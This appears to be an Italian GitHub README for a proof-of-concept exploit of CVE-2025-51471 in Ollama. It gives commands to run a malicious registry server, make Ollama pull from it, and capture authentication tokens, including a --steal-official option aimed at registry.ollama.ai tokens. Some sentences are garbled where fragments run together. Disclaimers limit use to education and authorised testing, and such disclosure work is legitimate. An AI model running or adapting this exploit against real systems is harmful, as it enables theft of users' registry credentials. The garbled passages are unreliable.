
Questa PoC è solo a scopo educativo e di test di sicurezza autorizzato. NON utilizzarla su sistemi che non possiedi.
Autore: ajtazer
Questo repository contiene un Proof of Concept (PoC) per CVE-2025-51471, una vulnerabilità di esposizione del token di autenticazione cross-dominio che colpisce tutte le versioni di Ollama (inclusa l'ultima).
Quando Ollama scarica un modello da un server HTTPS che risponde con 401 Unauthorized, segue l'URL realm dell'intestazione WWW-Authenticate [...]
Ciò consente a un attaccante di:
401 con un'intestazione WWW-Authenticate che punta a un endpoint controllato dall'attaccanteregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
Ho dimostrato questo PoC in un breve video — guardalo qui:
Nota (modalità HTTPS su macOS): Se si utilizza la modalità HTTPS, aggiungi il certificato generato al tuo portachiavi o usa la modalità HTTP con
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | Descrizione |
|---|---|
/v2/* | Endpoint falso del registry (attiva l'exploit) |
/v2/token | Endpoint di cattura del token |
/tokens | Visualizza tutti i token catturati (JSON) |
/health | Controllo dello stato del server |
Questo PoC è solo per scopi educativi e di test di sicurezza autorizzati. Non usarlo contro sistemi che non possiedi.
Realizzato con ❤️ usando Antigravity